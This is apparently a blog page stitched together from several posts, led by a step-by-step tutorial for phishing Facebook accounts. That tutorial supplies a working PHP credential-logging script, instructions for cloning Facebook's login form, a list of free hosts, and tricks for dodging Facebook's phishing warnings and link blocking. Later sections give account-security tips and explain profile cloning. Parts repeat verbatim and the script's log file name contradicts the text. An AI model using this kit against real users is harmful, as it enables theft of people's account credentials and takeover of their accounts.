How To Hackers Hack FaceBook Account Using Phishing Attack
WHAT IS PHISHING?
Phishing is a technique or a way of attempting to acquire sensitive or confidential information such as usernames, passwords, and credit card details by false pretense as a trustworthy entity in an electronic communication. This is done with the help of a phisher.
WHAT IS A PHISHER?
A phisher is something that looks exactly like an Original login page (fake page), that writes the victim's login data (Username and Password) to a specific file, or does whatever you want so long as you get access to the victim's login data.
Here is an example of a fake facebook login page (phisher)
HOW TO MAKE A PHISHER?
As the saying goes:
Therefore, instead of just giving you the download link to the already made phishing page,.. Am going to teach you how to make your own phishing page. Well, at the end of this tutorial, i will put a download link to my already made phishing pages but first you have to learn how to make your own phisher :D
To create a successful phisher, all you need is a PHP enabled site , Notepad on your computer and a brain.
You can download Notepad v5.9++ here
Here is a list of php enabled free hosting sites:
In this tutorial am going to fucus mainly on how to prepare a phishing attack on facebook, am going to use Mozilla firefox as the browser and http://my3gb.com as the hosting site, its much easier.
You will find it on a line that looks like this;
STEP 2- Preparing the php script
------------------------------------------------------------------------------
<?php
header("Location: http://facebook.com/login.php ");
$handle = fopen("noobs.txt", "a");
foreach($_GET as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>
------------------------------------------------------------------------------
Note that in the above script, ''phished.txt'' is the file on which all hacked usernames and passwords will be saved and ''https://facebook.com/login.php'' is the Original facebook url where your victim will be redircted to after clicking the login button on your fake page. But at the moment facebook has tightened its security where by your victim will get notified of a phishing attack and would therefore be prompted to change his password right after arriving from a phishing page.
To avoid this, you should redirect your victim to any other url which is not of facebook by replacing https://facebook.com/login.php with any url. Choosing the url to redirect your victim to will all depend on the trick that you will use against your victim in the whole phishing proccess.
Please also note that this part is mainly for facebook , its ok with several other sites like gmail, hotmail e.t.c your victim will not get a warning message, including mobile facebook (http://m.facebook.com).

As the saying goes:
- Dont give plenty of FISH to your friend,. Instead, you should teach him how to PHISH
Therefore, instead of just giving you the download link to the already made phishing page,.. Am going to teach you how to make your own phishing page. Well, at the end of this tutorial, i will put a download link to my already made phishing pages but first you have to learn how to make your own phisher :D

Here is a list of php enabled free hosting sites:
- Freehostia - http://freehostia.com
- Freeweb7 - http://freeweb7.com
- t35 - http://t35.com
- Awardspace - http://awardspace.com
- PHPNet - http://phpnet.us
- Free Web Hosting Pro - http://freewebhostingpro.com
- ProHosts - http://prohosts.org
- 000webhost - http://000webhost.com/
- AtSpace - http://atspace.com
- My3gb - http://my3gb.com
In this tutorial am going to fucus mainly on how to prepare a phishing attack on facebook, am going to use Mozilla firefox as the browser and http://my3gb.com as the hosting site, its much easier.
STEP 1 -Creating the fake page
- Go to facebook's login page http://www.facebook.com
- On the top left corner of your Firefox browser, Click File ->Save page As and save your page name as facebook.html
- Open facebook.html Using Notepad and search for the word ''action''
You will find it on a line that looks like this;
class="menu_login_container"><form method="POST" action="https://ww
- Now change the method to ''get'' and action to ''login.php'' so that you will have something that looks like this;
class="menu_login_container"><form method="get" action="login.php" id="login_form"
STEP 2- Preparing the php script
- To Create a php file, simply pasting the code below into your notepad. Then save it as login.php
------------------------------------------------------------------------------
<?php
header("Location: http://facebook.com/login.php ");
$handle = fopen("noobs.txt", "a");
foreach($_GET as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>
------------------------------------------------------------------------------
Note that in the above script, ''phished.txt'' is the file on which all hacked usernames and passwords will be saved and ''https://facebook.com/login.php'' is the Original facebook url where your victim will be redircted to after clicking the login button on your fake page. But at the moment facebook has tightened its security where by your victim will get notified of a phishing attack and would therefore be prompted to change his password right after arriving from a phishing page.
To avoid this, you should redirect your victim to any other url which is not of facebook by replacing https://facebook.com/login.php with any url. Choosing the url to redirect your victim to will all depend on the trick that you will use against your victim in the whole phishing proccess.
Please also note that this part is mainly for facebook , its ok with several other sites like gmail, hotmail e.t.c your victim will not get a warning message, including mobile facebook (http://m.facebook.com).
STEP 3- Create File where to save hacked passwords
- Create an empty text file using notepad and rename it as phished
Note that when creating the text file, there is no need of renaming it as phished.txt because the fact that you will save it as a text file is enough to make it bear the extension of txt
Now you have 3 files so far;
- facebook.html
- login.php
- phished.txt
STEP 5- Uploading the 3 files
Now go to http://my3gb.com and sign up for a free hosting account the upload the 3 files
If your phisher has successfully been made, any email address and passwords that are typed on your fake page will be saved on the ''phished.txt'' file
The link to your phishing page will therefore be;
www.yourusername.my3gb.com/facebook.html
NOTE THAT:
- No One will be so dumb to click on such a link
- Facebook will automaticaly block your phishing url from being posted on facebook
To overcome the above sitiuation you need to rename your phishing link using a ''dot.tk'' domain. To be able to do this, go to www.dot.tk and register,. After that, login to your account and click on ''Add a new free domain now'' and follow the rest of the steps.
Hope you enjoyed the tutorial,.
Your dot.tk domain name will look like this,... www.anyname.tk , any clicks on this link will be fowarded to your fake facebook page.
The good part is that..
- you can rename the phishing link to suite your victim's curiosity and there making it difficult for him to notice any phisher
- Your phisher will NOT be detected and blocked by facebook,..so you are free to post it or send it to a freind on facebook via inbox.
Hope you enjoyed the tutorial,.
How To Secure Your FaceBook Account
- Enable secure HTTPS connection
- Create a strong password for authentication No matter how secrete your password is, it can easily be broken by brute-force, that is if you choose to use a short and simple password. If you don�t have a strong password to protect your account, then whatever security guides that you apply wont do you any good. The key here is to have a long and complicated password where complexity is the combination of lower case, upper case, numeric and special characters like symbols. for example..
2$k/Gp@?H$y8rQ?
- DO NOT use a password that has a straight forward meaning (that can be found in the dictionary)
- DO NOT use a phone number as a password
- DO NOT use your boyfriend or girlfriend's name as a password,. no matter how much you love them or else it'll easily be broken down.:P
- Enable login notification
- Enabling the login notification will keep you notified when somebody logs in to your account without your permission.. So you can immediately kick them out fast and set a new password so that they can never login again. This is an extremely good feature which can be enabled for both email and mobile SMS.
- One Time Password in login approval
- One Time Password - is a two factor authentication method where you can enable all logins from unknown devices to use One Time Password,.. so as to ensure that only you can login from an unknown device. By making use of this feature, there is only one way a hacker can use to get your Facebook identity which is by stealing your recognised device and that is your computer or mobile phone lol.
- Logging out from Facebook
- Beware of Keyloggers
- A keylogger - is a spyware tool that runs secretly in the system and records each and every keystroke on the user's keyboard. In other words, whatever you type on the keyboard is going to be saved as logs, which can later be viewed with a log viewer or sent to the hacker's email address via your network. And not only keystroke capturing, keyloggers have additional features like,.. screenshot capturing, secrete webcaming & web activity logging. There are two types of keyloggers, Software and hardware keyloggers.
- Software keyloggers are usually downloaded as file attachments from the web, a single click on that file executes the keylogger.
- Hardware keyloggers are more like usb disks, they are plugged in manually onto the victim's computer via usb port. The most common place to find hardware keyloggers are Internet cafes or a cyber cafe rather.
How to Avoid and Bypass keyloggers
- Update your antivirus regularly though this will only apply to a software keylogger as hardware keyloggers are hardly detected by antivirus :P
- Develop a habit of using an onscreen keyboard whenever you want to enter a password, this will bypass any keylogger installed on your system. To access the onscreen keyboard, simply go to Start->Run then in the prompt box, type osk.exe and hit Enter! the keyboard will appear on your screen, then use the mouse to enter your password.
- Another way to bypass a keylogger is to fool it by shuffling your password when entering it lol. What i mean is...for example if your password is ABCDEF, when entering it, first type the letters ''AB'' and ''F'' then put the mouse cursor between ''B'' and ''F'' and type the letters ''C'' and ''E'' then finally put your mouse cursor between ''C'' and ''E'' and punch the letter D. ... haha lol then whoever installed that keylogger will never get your password correct. The aim is to enter the password without following the correct order.
- Beware of Phishing
- Phishing is a method of getting a user's credentials, i.e username and password with the help of a fake login page. You can find out more about phishing in my earlier article here, To protect yourself from phishing, always check your URL or your current page address in your browser's address bar to make sure you are on the real or correct login page. And please NEVER submit your login details on any third party site apart from facebook. Stay alert!!
- Beware of HACK the hacker tools
- These are simple tools that are developed with a quite convincing interface of hacking anybody's password with a single click. e.g facebook hacker pro, 007 facebook hacker, gmail password cracker, yahoo password cracker e.t.c. These contain two main parts, the noob hacker's part, and the victim's part. The noob hacker is prompted to enter his username & password followed by his victim's username ,.. with the belief that when the noob hacker hits Enter,. he will get his victim's password revealed,.. Well the bad news is that these tools are nothing but trojans.
- What this tool will do is,.. instead it will get whatever was imputed or typed on the noob hacker's part (username and password) & send it silently to the real HACKER's email address via a network connection, hence the noob hacker has been HACKED!!! :P:P:P
- Therefore if you have been searching for a software on the internet to hack your friend with, i suggest that you stop now or you will only get yourself hacked. For now it is impossible to hack into facebook or any other account with a single click, the only way is by doing the manual work yourself.
- Update your System Regularly
- Updating your system regularly is one of the effective ways to get rid of malicious tools or spyware programs that may have patched up your system. Remember, there is nothing like 100% secure, change your passwords like a ladies underwear. Update your antivirus and do a regular scan. But please do not trust your antivirus too much lol. Some of these tool are deadly and completely FUD (Fully Undetectable). Just combine with the above knowledge and you are safe :D:D:D

Facebook Trick to recover stolen "Fan Pages"
When you create a fan page in Facebook, there is a facility to set some roles for users accessing and posting in the page. These are called as "Admin Roles" in Facebook Pages. There are different roles assigned for managing the pages as needed. If you know how to add another "Admin" to your page, with a specific role then there is a fear of your fan page getting stolen by another person whom you have added in the admin role.
A creator of the page has to be the "Manager" of the page as he is creating, posting, etc and accessing the whole page. If he wants to add anyone who can access the page for some other reason who is trustworthy then you can set him or her as any other role.

Tricks to avoid "Facebook Cloning"
Are there any "CopyCats" around you? Some people can create a fake profile of yours with some tricks. This may be hacking but this involves a process called "Cloning".
Here the trick of creating "Facebook Cloning" is used.
In other terms, Facebook cloning is a type of stealing one's identity where dodgy characters make a second profile which is similar to the current one.
Later on they send the friend requests to all your friends from the cloned profile. It is nothing but they are fooling your friends by sending fake requests from the cloned profile.
The process then comes at a stage where they post comments or add images and chat with your friends with your identity. The cloned profile helps to do them all these stuff.
In such cases, when any other person who is not known to you and cloning your profile to use your contacts for communicating, it is theft and something must be done to avoid it.
Before making any steps for avoiding Facebook cloning, you should first know whether it is really been done or not and how they do it.
Know how Facebook cloning is done:
- First they send you a friend request
- Once you accept it then they start copying all your contacts and other information
- They save your profile pictures and profile and each small things that you have shared
- Then create a fake email id either in Gmail or Hotmail
- Using this fake email then they register for a new Facebook account
- They use your exact profile pics and information and give it as exact look and feel of your profile
- After all this they start copying all other information and pasting in the new cloned Facebook account
- Later they will like all the pages that you have liked in your profile. Sometimes they will copy the comments that you have made in your profile to that extent that the new profile should look the same
- Now the time has come to block you to see the new fake or cloned profile by just clicking on "Report / Block" option. Once this is done you will never come to know that a new fake or cloned id is prepared without your knowledge.
- Now they will do as they want to do in the new cloned fake Facebook profile but "As You"
This post is to make you aware of the process of cloning in Facebook and not to fear you. Once all this is done, then they start sending friend requests, share their comments , like pages and groups , everything else but only difference will be you will not know that they are using your cloned profile for doing all this.
In the article by Nivashni Nair, where the writer points out about few cases that have been victims about Facebook ID's Cloned.
The main reason behind this is Privacy Settings and Accepting any Friend request.
Cloners will start their steps with sending a friend request to you. Once you have accepted they have won half the battle. So, when accepting any request, first check whether the person who is sending the friend request is known or not known or has atleast 1 mutual friend in common.
Please go through some tricks that will help you to avoid this type of crime against you:
- Check for the person who is sending you a friend request
- Do not accept if he or she is unknown
- Accept only them who has at least 1 mutual friend in common
- Check and edit your privacy settings
- Change the photo albums privacy settings
Most importantly , Facebook has its "Help Center" where you can go through for more information. Report to any fraud being done against you immediately.
If the cloning of your Facebook profile is gone to an extent that you cannot deal then better to inform your friends and family that you are deleting your profile completely and creating a new one. And as soon as you take this decision, better delete your present account and create a new one with a fresh look.

Soon you will have "Sympathize" button besides "Like" button in Facebook
All are thinking what will be the "Next Big" thing in the world of Facebook!!! What is the new feature that Facebook will give its users?
The No. 1 in "Social media", now has started a new experiment with a new button which is called as "Sympathize button". After "Like" and "Share" button now its "Sympathize" button. What exactly is this button of feature being created for?
According to Facebook spokesperson, if any user wants to tag a status with a negative emotion, then the "Sympathize" button would automatically replace the "Like" button.
The feature is still in the experiment mode. There will be no such button like a "Dislike" button.
Hence if any emotional smiley or button is helpful then "Sympathize" button is useful.
In this case, it is just like Facebook is toying with some features to make it available henceforth. If it gets successful then where will that button be placed?
Simply may be by placing it besides the famous "Like" button will do.
The idea of "Sympathize" button came from a hackathon. It will be experienced by many of Facebook users while surfing their News Feed status that some of their friends or any person or personality you are following has shared some sad status and you feel sympathy for them but cannot express it without using words. Then the idea of this new feature will work if implemented successfully for users.
